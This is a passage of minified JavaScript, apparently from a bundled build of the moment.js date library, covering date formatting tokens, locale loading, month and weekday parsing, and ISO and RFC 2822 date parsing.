R=/(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|N{1,5}|YYYYYY|YYYYY|YYYY|YY|y{2,4}|yo?|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g,I=/(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g,W={},N={};function $(e,t,n,r){var i=r;"string"==typeof r&&(i=function(){return this[r]()}),e&&(N[e]=i),t&&(N[t[0]]=function(){return A(i.apply(this,arguments),t[1],t[2])}),n&&(N[n]=function(){return this.localeData().ordinal(i.apply(this,arguments),e)})}function F(e){return e.match(/\[[\s\S]/)?e.replace(/^\[|\]$/g,""):e.replace(/\\/g,"")}function z(e){var t,n,r=e.match(R);for(t=0,n=r.length;t<n;t++)N[r[t]]?r[t]=N[r[t]]:r[t]=F(r[t]);return function(t){var i,a="";for(i=0;i<n;i++)a+=j(r[i])?r[i].call(t,e):r[i];return a}}function B(e,t){return e.isValid()?(t=q(t,e.localeData()),W[t]=W[t]||z(t),W[t](e)):e.localeData().invalidDate()}function q(e,t){var n=5;function r(e){return t.longDateFormat(e)||e}for(I.lastIndex=0;n>=0&&I.test(e);)e=e.replace(I,r),I.lastIndex=0,n-=1;return e}var U={LTS:"h:mm:ss A",LT:"h:mm A",L:"MM/DD/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"};function J(e){var t=this._longDateFormat[e],n=this._longDateFormat[e.toUpperCase()];return t||!n?t:(this._longDateFormat[e]=n.match(R).map((function(e){return"MMMM"===e||"MM"===e||"DD"===e||"dddd"===e?e.slice(1):e})).join(""),this._longDateFormat[e])}var V="Invalid date";function G(){return this._invalidDate}var K="%d",Z=/\d{1,2}/;function X(e){return this._ordinal.replace("%d",e)}var Q={future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",w:"a week",ww:"%d weeks",M:"a month",MM:"%d months",y:"a year",yy:"%d years"};function ee(e,t,n,r){var i=this._relativeTime[n];return j(i)?i(e,t,n,r):i.replace(/%d/i,e)}function te(e,t){var n=this._relativeTime[e>0?"future":"past"];return j(n)?n(t):n.replace(/%s/i,t)}var ne={};function re(e,t){var n=e.toLowerCase();ne[n]=ne[n+"s"]=ne[t]=e}function ie(e){return"string"==typeof e?ne[e]||ne[e.toLowerCase()]:void 0}function ae(e){var t,n,r={};for(n in e)l(e,n)&&(t=ie(n))&&(r[t]=e[n]);return r}var oe={};function se(e,t){oe[e]=t}function le(e){var t,n=[];for(t in e)l(e,t)&&n.push({unit:t,priority:oe[t]});return n.sort((function(e,t){return e.priority-t.priority})),n}function ue(e){return e%4==0&&e%100!=0||e%400==0}function ce(e){return e<0?Math.ceil(e)||0:Math.floor(e)}function de(e){var t=+e,n=0;return 0!==t&&isFinite(t)&&(n=ce(t)),n}function fe(e,t){return function(n){return null!=n?(me(this,e,n),i.updateOffset(this,t),this):he(this,e)}}function he(e,t){return e.isValid()?e._d["get"+(e._isUTC?"UTC":"")+t]():NaN}function me(e,t,n){e.isValid()&&!isNaN(n)&&("FullYear"===t&&ue(e.year())&&1===e.month()&&29===e.date()?(n=de(n),e._d["set"+(e._isUTC?"UTC":"")+t](n,e.month(),et(n,e.month()))):e._d["set"+(e._isUTC?"UTC":"")+t](n))}function pe(e){return j(this[e=ie(e)])?this[e]():this}function _e(e,t){if("object"==typeof e){var n,r=le(e=ae(e));for(n=0;n<r.length;n++)this[r[n].unit](e[r[n].unit])}else if(j(this[e=ie(e)]))return this[e](t);return this}var ye,ge=/\d/,ve=/\d\d/,be=/\d{3}/,we=/\d{4}/,Me=/[+-]?\d{6}/,Le=/\d\d?/,ke=/\d\d\d\d?/,Ye=/\d\d\d\d\d\d?/,De=/\d{1,3}/,Te=/\d{1,4}/,xe=/[+-]?\d{1,6}/,Se=/\d+/,je=/[+-]?\d+/,Oe=/Z|[+-]\d\d:?\d\d/gi,Ce=/Z|[+-]\d\d(?::?\d\d)?/gi,He=/[+-]?\d+(\.\d{1,3})?/,Ee=/[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i;function Pe(e,t,n){ye[e]=j(t)?t:function(e,r){return e&&n?n:t}}function Ae(e,t){return l(ye,e)?ye[e](t._strict,t._locale):new RegExp(Re(e))}function Re(e){return Ie(e.replace("\\","").replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g,(function(e,t,n,r,i){return t||n||r||i})))}function Ie(e){return e.replace(/[-\/\\^$*+?.()|[\]{}]/g,"\\$&")}ye={};var We={};function Ne(e,t){var n,r=t;for("string"==typeof e&&(e=[e]),d(t)&&(r=function(e,n){n[t]=de(e)}),n=0;n<e.length;n++)We[e[n]]=r}function $e(e,t){Ne(e,(function(e,n,r,i){r._w=r._w||{},t(e,r._w,r,i)}))}function Fe(e,t,n){null!=t&&l(We,e)&&We[e](t,n._a,n,e)}var ze,Be=0,qe=1,Ue=2,Je=3,Ve=4,Ge=5,Ke=6,Ze=7,Xe=8;function Qe(e,t){return(e%t+t)%t}function et(e,t){if(isNaN(e)||isNaN(t))return NaN;var n=Qe(t,12);return e+=(t-n)/12,1===n?ue(e)?29:28:31-n%7%2}ze=Array.prototype.indexOf?Array.prototype.indexOf:function(e){var t;for(t=0;t<this.length;++t)if(this[t]===e)return t;return-1},$("M",["MM",2],"Mo",(function(){return this.month()+1})),$("MMM",0,0,(function(e){return this.localeData().monthsShort(this,e)})),$("MMMM",0,0,(function(e){return this.localeData().months(this,e)})),re("month","M"),se("month",8),Pe("M",Le),Pe("MM",Le,ve),Pe("MMM",(function(e,t){return t.monthsShortRegex(e)})),Pe("MMMM",(function(e,t){return t.monthsRegex(e)})),Ne(["M","MM"],(function(e,t){t[qe]=de(e)-1})),Ne(["MMM","MMMM"],(function(e,t,n,r){var i=n._locale.monthsParse(e,r,n._strict);null!=i?t[qe]=i:y(n).invalidMonth=e}));var tt="January_February_March_April_May_June_July_August_September_October_November_December".split("_"),nt="Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),rt=/D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/,it=Ee,at=Ee;function ot(e,t){return e?o(this._months)?this._months[e.month()]:this._months[(this._months.isFormat||rt).test(t)?"format":"standalone"][e.month()]:o(this._months)?this._months:this._months.standalone}function st(e,t){return e?o(this._monthsShort)?this._monthsShort[e.month()]:this._monthsShort[rt.test(t)?"format":"standalone"][e.month()]:o(this._monthsShort)?this._monthsShort:this._monthsShort.standalone}function lt(e,t,n){var r,i,a,o=e.toLocaleLowerCase();if(!this._monthsParse)for(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[],r=0;r<12;++r)a=p([2e3,r]),this._shortMonthsParse[r]=this.monthsShort(a,"").toLocaleLowerCase(),this._longMonthsParse[r]=this.months(a,"").toLocaleLowerCase();return n?"MMM"===t?-1!==(i=ze.call(this._shortMonthsParse,o))?i:null:-1!==(i=ze.call(this._longMonthsParse,o))?i:null:"MMM"===t?-1!==(i=ze.call(this._shortMonthsParse,o))||-1!==(i=ze.call(this._longMonthsParse,o))?i:null:-1!==(i=ze.call(this._longMonthsParse,o))||-1!==(i=ze.call(this._shortMonthsParse,o))?i:null}function ut(e,t,n){var r,i,a;if(this._monthsParseExact)return lt.call(this,e,t,n);for(this._monthsParse||(this._monthsParse=[],this._longMonthsParse=[],this._shortMonthsParse=[]),r=0;r<12;r++){if(i=p([2e3,r]),n&&!this._longMonthsParse[r]&&(this._longMonthsParse[r]=new RegExp("^"+this.months(i,"").replace(".","")+"$","i"),this._shortMonthsParse[r]=new RegExp("^"+this.monthsShort(i,"").replace(".","")+"$","i")),n||this._monthsParse[r]||(a="^"+this.months(i,"")+"|^"+this.monthsShort(i,""),this._monthsParse[r]=new RegExp(a.replace(".",""),"i")),n&&"MMMM"===t&&this._longMonthsParse[r].test(e))return r;if(n&&"MMM"===t&&this._shortMonthsParse[r].test(e))return r;if(!n&&this._monthsParse[r].test(e))return r}}function ct(e,t){var n;if(!e.isValid())return e;if("string"==typeof t)if(/^\d+$/.test(t))t=de(t);else if(!d(t=e.localeData().monthsParse(t)))return e;return n=Math.min(e.date(),et(e.year(),t)),e._d["set"+(e._isUTC?"UTC":"")+"Month"](t,n),e}function dt(e){return null!=e?(ct(this,e),i.updateOffset(this,!0),this):he(this,"Month")}function ft(){return et(this.year(),this.month())}function ht(e){return this._monthsParseExact?(l(this,"_monthsRegex")||pt.call(this),e?this._monthsShortStrictRegex:this._monthsShortRegex):(l(this,"_monthsShortRegex")||(this._monthsShortRegex=it),this._monthsShortStrictRegex&&e?this._monthsShortStrictRegex:this._monthsShortRegex)}function mt(e){return this._monthsParseExact?(l(this,"_monthsRegex")||pt.call(this),e?this._monthsStrictRegex:this._monthsRegex):(l(this,"_monthsRegex")||(this._monthsRegex=at),this._monthsStrictRegex&&e?this._monthsStrictRegex:this._monthsRegex)}function pt(){function e(e,t){return t.length-e.length}var t,n,r=[],i=[],a=[];for(t=0;t<12;t++)n=p([2e3,t]),r.push(this.monthsShort(n,"")),i.push(this.months(n,"")),a.push(this.months(n,"")),a.push(this.monthsShort(n,""));for(r.sort(e),i.sort(e),a.sort(e),t=0;t<12;t++)r[t]=Ie(r[t]),i[t]=Ie(i[t]);for(t=0;t<24;t++)a[t]=Ie(a[t]);this._monthsRegex=new RegExp("^("+a.join("|")+")","i"),this._monthsShortRegex=this._monthsRegex,this._monthsStrictRegex=new RegExp("^("+i.join("|")+")","i"),this._monthsShortStrictRegex=new RegExp("^("+r.join("|")+")","i")}function _t(e){return ue(e)?366:365}$("Y",0,0,(function(){var e=this.year();return e<=9999?A(e,4):"+"+e})),$(0,["YY",2],0,(function(){return this.year()%100})),$(0,["YYYY",4],0,"year"),$(0,["YYYYY",5],0,"year"),$(0,["YYYYYY",6,!0],0,"year"),re("year","y"),se("year",1),Pe("Y",je),Pe("YY",Le,ve),Pe("YYYY",Te,we),Pe("YYYYY",xe,Me),Pe("YYYYYY",xe,Me),Ne(["YYYYY","YYYYYY"],Be),Ne("YYYY",(function(e,t){t[Be]=2===e.length?i.parseTwoDigitYear(e):de(e)})),Ne("YY",(function(e,t){t[Be]=i.parseTwoDigitYear(e)})),Ne("Y",(function(e,t){t[Be]=parseInt(e,10)})),i.parseTwoDigitYear=function(e){return de(e)+(de(e)>68?1900:2e3)};var yt=fe("FullYear",!0);function gt(){return ue(this.year())}function vt(e,t,n,r,i,a,o){var s;return e<100&&e>=0?(s=new Date(e+400,t,n,r,i,a,o),isFinite(s.getFullYear())&&s.setFullYear(e)):s=new Date(e,t,n,r,i,a,o),s}function bt(e){var t,n;return e<100&&e>=0?((n=Array.prototype.slice.call(arguments))[0]=e+400,t=new Date(Date.UTC.apply(null,n)),isFinite(t.getUTCFullYear())&&t.setUTCFullYear(e)):t=new Date(Date.UTC.apply(null,arguments)),t}function wt(e,t,n){var r=7+t-n;return-(7+bt(e,0,r).getUTCDay()-t)%7+r-1}function Mt(e,t,n,r,i){var a,o,s=1+7*(t-1)+(7+n-r)%7+wt(e,r,i);return s<=0?o=_t(a=e-1)+s:s>_t(e)?(a=e+1,o=s-_t(e)):(a=e,o=s),{year:a,dayOfYear:o}}function Lt(e,t,n){var r,i,a=wt(e.year(),t,n),o=Math.floor((e.dayOfYear()-a-1)/7)+1;return o<1?r=o+kt(i=e.year()-1,t,n):o>kt(e.year(),t,n)?(r=o-kt(e.year(),t,n),i=e.year()+1):(i=e.year(),r=o),{week:r,year:i}}function kt(e,t,n){var r=wt(e,t,n),i=wt(e+1,t,n);return(_t(e)-r+i)/7}function Yt(e){return Lt(e,this._week.dow,this._week.doy).week}$("w",["ww",2],"wo","week"),$("W",["WW",2],"Wo","isoWeek"),re("week","w"),re("isoWeek","W"),se("week",5),se("isoWeek",5),Pe("w",Le),Pe("ww",Le,ve),Pe("W",Le),Pe("WW",Le,ve),$e(["w","ww","W","WW"],(function(e,t,n,r){t[r.substr(0,1)]=de(e)}));var Dt={dow:0,doy:6};function Tt(){return this._week.dow}function xt(){return this._week.doy}function St(e){var t=this.localeData().week(this);return null==e?t:this.add(7*(e-t),"d")}function jt(e){var t=Lt(this,1,4).week;return null==e?t:this.add(7*(e-t),"d")}function Ot(e,t){return"string"!=typeof e?e:isNaN(e)?"number"==typeof(e=t.weekdaysParse(e))?e:null:parseInt(e,10)}function Ct(e,t){return"string"==typeof e?t.weekdaysParse(e)%7||7:isNaN(e)?null:e}function Ht(e,t){return e.slice(t,7).concat(e.slice(0,t))}$("d",0,"do","day"),$("dd",0,0,(function(e){return this.localeData().weekdaysMin(this,e)})),$("ddd",0,0,(function(e){return this.localeData().weekdaysShort(this,e)})),$("dddd",0,0,(function(e){return this.localeData().weekdays(this,e)})),$("e",0,0,"weekday"),$("E",0,0,"isoWeekday"),re("day","d"),re("weekday","e"),re("isoWeekday","E"),se("day",11),se("weekday",11),se("isoWeekday",11),Pe("d",Le),Pe("e",Le),Pe("E",Le),Pe("dd",(function(e,t){return t.weekdaysMinRegex(e)})),Pe("ddd",(function(e,t){return t.weekdaysShortRegex(e)})),Pe("dddd",(function(e,t){return t.weekdaysRegex(e)})),$e(["dd","ddd","dddd"],(function(e,t,n,r){var i=n._locale.weekdaysParse(e,r,n._strict);null!=i?t.d=i:y(n).invalidWeekday=e})),$e(["d","e","E"],(function(e,t,n,r){t[r]=de(e)}));var Et="Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),Pt="Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),At="Su_Mo_Tu_We_Th_Fr_Sa".split("_"),Rt=Ee,It=Ee,Wt=Ee;function Nt(e,t){var n=o(this._weekdays)?this._weekdays:this._weekdays[e&&!0!==e&&this._weekdays.isFormat.test(t)?"format":"standalone"];return!0===e?Ht(n,this._week.dow):e?n[e.day()]:n}function $t(e){return!0===e?Ht(this._weekdaysShort,this._week.dow):e?this._weekdaysShort[e.day()]:this._weekdaysShort}function Ft(e){return!0===e?Ht(this._weekdaysMin,this._week.dow):e?this._weekdaysMin[e.day()]:this._weekdaysMin}function zt(e,t,n){var r,i,a,o=e.toLocaleLowerCase();if(!this._weekdaysParse)for(this._weekdaysParse=[],this._shortWeekdaysParse=[],this._minWeekdaysParse=[],r=0;r<7;++r)a=p([2e3,1]).day(r),this._minWeekdaysParse[r]=this.weekdaysMin(a,"").toLocaleLowerCase(),this._shortWeekdaysParse[r]=this.weekdaysShort(a,"").toLocaleLowerCase(),this._weekdaysParse[r]=this.weekdays(a,"").toLocaleLowerCase();return n?"dddd"===t?-1!==(i=ze.call(this._weekdaysParse,o))?i:null:"ddd"===t?-1!==(i=ze.call(this._shortWeekdaysParse,o))?i:null:-1!==(i=ze.call(this._minWeekdaysParse,o))?i:null:"dddd"===t?-1!==(i=ze.call(this._weekdaysParse,o))||-1!==(i=ze.call(this._shortWeekdaysParse,o))||-1!==(i=ze.call(this._minWeekdaysParse,o))?i:null:"ddd"===t?-1!==(i=ze.call(this._shortWeekdaysParse,o))||-1!==(i=ze.call(this._weekdaysParse,o))||-1!==(i=ze.call(this._minWeekdaysParse,o))?i:null:-1!==(i=ze.call(this._minWeekdaysParse,o))||-1!==(i=ze.call(this._weekdaysParse,o))||-1!==(i=ze.call(this._shortWeekdaysParse,o))?i:null}function Bt(e,t,n){var r,i,a;if(this._weekdaysParseExact)return zt.call(this,e,t,n);for(this._weekdaysParse||(this._weekdaysParse=[],this._minWeekdaysParse=[],this._shortWeekdaysParse=[],this._fullWeekdaysParse=[]),r=0;r<7;r++){if(i=p([2e3,1]).day(r),n&&!this._fullWeekdaysParse[r]&&(this._fullWeekdaysParse[r]=new RegExp("^"+this.weekdays(i,"").replace(".","\\.?")+"$","i"),this._shortWeekdaysParse[r]=new RegExp("^"+this.weekdaysShort(i,"").replace(".","\\.?")+"$","i"),this._minWeekdaysParse[r]=new RegExp("^"+this.weekdaysMin(i,"").replace(".","\\.?")+"$","i")),this._weekdaysParse[r]||(a="^"+this.weekdays(i,"")+"|^"+this.weekdaysShort(i,"")+"|^"+this.weekdaysMin(i,""),this._weekdaysParse[r]=new RegExp(a.replace(".",""),"i")),n&&"dddd"===t&&this._fullWeekdaysParse[r].test(e))return r;if(n&&"ddd"===t&&this._shortWeekdaysParse[r].test(e))return r;if(n&&"dd"===t&&this._minWeekdaysParse[r].test(e))return r;if(!n&&this._weekdaysParse[r].test(e))return r}}function qt(e){if(!this.isValid())return null!=e?this:NaN;var t=this._isUTC?this._d.getUTCDay():this._d.getDay();return null!=e?(e=Ot(e,this.localeData()),this.add(e-t,"d")):t}function Ut(e){if(!this.isValid())return null!=e?this:NaN;var t=(this.day()+7-this.localeData()._week.dow)%7;return null==e?t:this.add(e-t,"d")}function Jt(e){if(!this.isValid())return null!=e?this:NaN;if(null!=e){var t=Ct(e,this.localeData());return this.day(this.day()%7?t:t-7)}return this.day()||7}function Vt(e){return this._weekdaysParseExact?(l(this,"_weekdaysRegex")||Zt.call(this),e?this._weekdaysStrictRegex:this._weekdaysRegex):(l(this,"_weekdaysRegex")||(this._weekdaysRegex=Rt),this._weekdaysStrictRegex&&e?this._weekdaysStrictRegex:this._weekdaysRegex)}function Gt(e){return this._weekdaysParseExact?(l(this,"_weekdaysRegex")||Zt.call(this),e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex):(l(this,"_weekdaysShortRegex")||(this._weekdaysShortRegex=It),this._weekdaysShortStrictRegex&&e?this._weekdaysShortStrictRegex:this._weekdaysShortRegex)}function Kt(e){return this._weekdaysParseExact?(l(this,"_weekdaysRegex")||Zt.call(this),e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex):(l(this,"_weekdaysMinRegex")||(this._weekdaysMinRegex=Wt),this._weekdaysMinStrictRegex&&e?this._weekdaysMinStrictRegex:this._weekdaysMinRegex)}function Zt(){function e(e,t){return t.length-e.length}var t,n,r,i,a,o=[],s=[],l=[],u=[];for(t=0;t<7;t++)n=p([2e3,1]).day(t),r=Ie(this.weekdaysMin(n,"")),i=Ie(this.weekdaysShort(n,"")),a=Ie(this.weekdays(n,"")),o.push(r),s.push(i),l.push(a),u.push(r),u.push(i),u.push(a);o.sort(e),s.sort(e),l.sort(e),u.sort(e),this._weekdaysRegex=new RegExp("^("+u.join("|")+")","i"),this._weekdaysShortRegex=this._weekdaysRegex,this._weekdaysMinRegex=this._weekdaysRegex,this._weekdaysStrictRegex=new RegExp("^("+l.join("|")+")","i"),this._weekdaysShortStrictRegex=new RegExp("^("+s.join("|")+")","i"),this._weekdaysMinStrictRegex=new RegExp("^("+o.join("|")+")","i")}function Xt(){return this.hours()%12||12}function Qt(){return this.hours()||24}function en(e,t){$(e,0,0,(function(){return this.localeData().meridiem(this.hours(),this.minutes(),t)}))}function tn(e,t){return t._meridiemParse}function nn(e){return"p"===(e+"").toLowerCase().charAt(0)}$("H",["HH",2],0,"hour"),$("h",["hh",2],0,Xt),$("k",["kk",2],0,Qt),$("hmm",0,0,(function(){return""+Xt.apply(this)+A(this.minutes(),2)})),$("hmmss",0,0,(function(){return""+Xt.apply(this)+A(this.minutes(),2)+A(this.seconds(),2)})),$("Hmm",0,0,(function(){return""+this.hours()+A(this.minutes(),2)})),$("Hmmss",0,0,(function(){return""+this.hours()+A(this.minutes(),2)+A(this.seconds(),2)})),en("a",!0),en("A",!1),re("hour","h"),se("hour",13),Pe("a",tn),Pe("A",tn),Pe("H",Le),Pe("h",Le),Pe("k",Le),Pe("HH",Le,ve),Pe("hh",Le,ve),Pe("kk",Le,ve),Pe("hmm",ke),Pe("hmmss",Ye),Pe("Hmm",ke),Pe("Hmmss",Ye),Ne(["H","HH"],Je),Ne(["k","kk"],(function(e,t,n){var r=de(e);t[Je]=24===r?0:r})),Ne(["a","A"],(function(e,t,n){n._isPm=n._locale.isPM(e),n._meridiem=e})),Ne(["h","hh"],(function(e,t,n){t[Je]=de(e),y(n).bigHour=!0})),Ne("hmm",(function(e,t,n){var r=e.length-2;t[Je]=de(e.substr(0,r)),t[Ve]=de(e.substr(r)),y(n).bigHour=!0})),Ne("hmmss",(function(e,t,n){var r=e.length-4,i=e.length-2;t[Je]=de(e.substr(0,r)),t[Ve]=de(e.substr(r,2)),t[Ge]=de(e.substr(i)),y(n).bigHour=!0})),Ne("Hmm",(function(e,t,n){var r=e.length-2;t[Je]=de(e.substr(0,r)),t[Ve]=de(e.substr(r))})),Ne("Hmmss",(function(e,t,n){var r=e.length-4,i=e.length-2;t[Je]=de(e.substr(0,r)),t[Ve]=de(e.substr(r,2)),t[Ge]=de(e.substr(i))}));var rn=/[ap]\.?m?\.?/i,an=fe("Hours",!0);function on(e,t,n){return e>11?n?"pm":"PM":n?"am":"AM"}var sn,ln={calendar:E,longDateFormat:U,invalidDate:V,ordinal:K,dayOfMonthOrdinalParse:Z,relativeTime:Q,months:tt,monthsShort:nt,week:Dt,weekdays:Et,weekdaysMin:At,weekdaysShort:Pt,meridiemParse:rn},un={},cn={};function dn(e,t){var n,r=Math.min(e.length,t.length);for(n=0;n<r;n+=1)if(e[n]!==t[n])return n;return r}function fn(e){return e?e.toLowerCase().replace("_","-"):e}function hn(e){for(var t,n,r,i,a=0;a<e.length;){for(t=(i=fn(e[a]).split("-")).length,n=(n=fn(e[a+1]))?n.split("-"):null;t>0;){if(r=mn(i.slice(0,t).join("-")))return r;if(n&&n.length>=t&&dn(i,n)>=t-1)break;t--}a++}return sn}function mn(t){var r=null;if(void 0===un[t]&&e&&e.exports)try{r=sn._abbr,n(6700)("./"+t),pn(r)}catch(e){un[t]=null}return un[t]}function pn(e,t){var n;return e&&((n=c(t)?gn(e):_n(e,t))?sn=n:"undefined"!=typeof console&&console.warn&&console.warn("Locale "+e+" not found. Did you forget to load it?")),sn._abbr}function _n(e,t){if(null!==t){var n,r=ln;if(t.abbr=e,null!=un[e])S("defineLocaleOverride","use moment.updateLocale(localeName, config) to change an existing locale. moment.defineLocale(localeName, config) should only be used for creating a new locale See http://momentjs.com/guides/#/warnings/define-locale/ for more info."),r=un[e]._config;else if(null!=t.parentLocale)if(null!=un[t.parentLocale])r=un[t.parentLocale]._config;else{if(null==(n=mn(t.parentLocale)))return cn[t.parentLocale]||(cn[t.parentLocale]=[]),cn[t.parentLocale].push({name:e,config:t}),null;r=n._config}return un[e]=new H(C(r,t)),cn[e]&&cn[e].forEach((function(e){_n(e.name,e.config)})),pn(e),un[e]}return delete un[e],null}function yn(e,t){if(null!=t){var n,r,i=ln;null!=un[e]&&null!=un[e].parentLocale?un[e].set(C(un[e]._config,t)):(null!=(r=mn(e))&&(i=r._config),t=C(i,t),null==r&&(t.abbr=e),(n=new H(t)).parentLocale=un[e],un[e]=n),pn(e)}else null!=un[e]&&(null!=un[e].parentLocale?(un[e]=un[e].parentLocale,e===pn()&&pn(e)):null!=un[e]&&delete un[e]);return un[e]}function gn(e){var t;if(e&&e._locale&&e._locale._abbr&&(e=e._locale._abbr),!e)return sn;if(!o(e)){if(t=mn(e))return t;e=[e]}return hn(e)}function vn(){return T(un)}function bn(e){var t,n=e._a;return n&&-2===y(e).overflow&&(t=n[qe]<0||n[qe]>11?qe:n[Ue]<1||n[Ue]>et(n[Be],n[qe])?Ue:n[Je]<0||n[Je]>24||24===n[Je]&&(0!==n[Ve]||0!==n[Ge]||0!==n[Ke])?Je:n[Ve]<0||n[Ve]>59?Ve:n[Ge]<0||n[Ge]>59?Ge:n[Ke]<0||n[Ke]>999?Ke:-1,y(e)._overflowDayOfYear&&(t<Be||t>Ue)&&(t=Ue),y(e)._overflowWeeks&&-1===t&&(t=Ze),y(e)._overflowWeekday&&-1===t&&(t=Xe),y(e).overflow=t),e}var wn=/^\s*((?:[+-]\d{6}|\d{4})-(?:\d\d-\d\d|W\d\d-\d|W\d\d|\d\d\d|\d\d))(?:(T| )(\d\d(?::\d\d(?::\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,Mn=/^\s*((?:[+-]\d{6}|\d{4})(?:\d\d\d\d|W\d\d\d|W\d\d|\d\d\d|\d\d|))(?:(T| )(\d\d(?:\d\d(?:\d\d(?:[.,]\d+)?)?)?)([+-]\d\d(?::?\d\d)?|\s*Z)?)?$/,Ln=/Z|[+-]\d\d(?::?\d\d)?/,kn=[["YYYYYY-MM-DD",/[+-]\d{6}-\d\d-\d\d/],["YYYY-MM-DD",/\d{4}-\d\d-\d\d/],["GGGG-[W]WW-E",/\d{4}-W\d\d-\d/],["GGGG-[W]WW",/\d{4}-W\d\d/,!1],["YYYY-DDD",/\d{4}-\d{3}/],["YYYY-MM",/\d{4}-\d\d/,!1],["YYYYYYMMDD",/[+-]\d{10}/],["YYYYMMDD",/\d{8}/],["GGGG[W]WWE",/\d{4}W\d{3}/],["GGGG[W]WW",/\d{4}W\d{2}/,!1],["YYYYDDD",/\d{7}/],["YYYYMM",/\d{6}/,!1],["YYYY",/\d{4}/,!1]],Yn=[["HH:mm:ss.SSSS",/\d\d:\d\d:\d\d\.\d+/],["HH:mm:ss,SSSS",/\d\d:\d\d:\d\d,\d+/],["HH:mm:ss",/\d\d:\d\d:\d\d/],["HH:mm",/\d\d:\d\d/],["HHmmss.SSSS",/\d\d\d\d\d\d\.\d+/],["HHmmss,SSSS",/\d\d\d\d\d\d,\d+/],["HHmmss",/\d\d\d\d\d\d/],["HHmm",/\d\d\d\d/],["HH",/\d\d/]],Dn=/^\/?Date\((-?\d+)/i,Tn=/^(?:(Mon|Tue|Wed|Thu|Fri|Sat|Sun),?\s)?(\d{1,2})\s(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s(\d{2,4})\s(\d\d):(\d\d)(?::(\d\d))?\s(?:(UT|GMT|[ECMP][SD]T)|([Zz])|([+-]\d{4}))$/,xn={UT:0,GMT:0,EDT:-240,EST:-300,CDT:-300,CST:-360,MDT:-360,MST:-420,PDT:-420,PST:-480};function Sn(e){var t,n,r,i,a,o,s=e._i,l=wn.exec(s)||Mn.exec(s);if(l){for(y(e).iso=!0,t=0,n=kn.length;t<n;t++)if(kn[t][1].exec(l[1])){i=kn[t][0],r=!1!==kn[t][2];break}if(null==i)return void(e._isValid=!1);if(l[3]){for(t=0,n=Yn.length;t<n;t++)if(Yn[t][1].exec(l[3])){a=(l[2]||" ")+Yn[t][0];break}if(null==a)return void(e._isValid=!1)}if(!r&&null!=a)return void(e._isValid=!1);if(l[4]){if(!Ln.exec(l[4]))return void(e._isValid=!1);o="Z"}e._f=i+(a||"")+(o||""),$n(e)}else e._isValid=!1}function jn(e,t,n,r,i,a){var o=[On(e),nt.indexOf(t),parseInt(n,10),parseInt(r,10),parseInt(i,10)];return a&&o.push(parseInt(a,10)),o}function On(e){var t=parseInt(e,10);return t<=49?2e3+t:t<=999?1900+t:t}function Cn(e){return e.replace(/\([^)]*\)|[\n\t]/g," ").replace(/(\s\s+)/g," ").replace(/^\s\s*/,"").replace(/\s\s*$/,"")}function Hn(e,t,n){return!e||Pt.indexOf(e)===new Date(t[0],t[1],t[2]).getDay()||(y(n).weekdayMismatch=!0,n._isValid=!1,!1)}function En(e,t,n){if(e)return xn[e];if(t)return 0;var r=parseInt(n,10),i=r%100;return(r-i)/100*60+i}function Pn(e){var t,n=Tn.exec(Cn(e._i));if(n){if(t=jn(n[4],n[3],n[2],n[5],n[6],n[7]),!Hn(n[1],t,e))return;e._a=t,e._tzm=En(n[8],n[9],n[10]),e._d=bt.apply(null,e._a),e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),y(e).rfc2822=!0}else e._isValid=!1}function An(e){var t=Dn.exec(e._i);null===t?(Sn(e),!1===e._isValid&&(delete e._isValid,Pn(e),!1===e._isValid&&(delete e._isValid,e._strict?e._isValid=!1:i.createFromInputFallback(e)))):e._d=new Date(+t[1])}function Rn(e,t,n){return null!=e?e:null!=t?t:n}function In(e){var t=new Date(i.now());return e._useUTC?[t.getUTCFullYear(),t.getUTCMonth(),t.getUTCDate()]:[t.getFullYear(),t.getMonth(),t.getDate()]}function Wn(e){var t,n,r,i,a,o=[];if(!e._d){for(r=In(e),e._w&&null==e._a[Ue]&&null==e._a[qe]&&Nn(e),null!=e._dayOfYear&&(a=Rn(e._a[Be],r[Be]),(e._dayOfYear>_t(a)||0===e._dayOfYear)&&(y(e)._overflowDayOfYear=!0),n=bt(a,0,e._dayOfYear),e._a[qe]=n.getUTCMonth(),e._a[Ue]=n.getUTCDate()),t=0;t<3&&null==e._a[t];++t)e._a[t]=o[t]=r[t];for(;t<7;t++)e._a[t]=o[t]=null==e._a[t]?2===t?1:0:e._a[t];24===e._a[Je]&&0===e._a[Ve]&&0===e._a[Ge]&&0===e._a[Ke]&&(e._nextDay=!0,e._a[Je]=0),e._d=(e._useUTC?bt:vt).apply(null,o),i=e._useUTC?e._d.getUTCDay():e._d.getDay(),null!=e._tzm&&e._d.setUTCMinutes(e._d.getUTCMinutes()-e._tzm),e._nextDay&&(e._a[Je]=24),e._w&&void 0!==e._w.d&&e._w.d!==i&&(y(e).weekdayMismatch=!0)}}function Nn(e){var 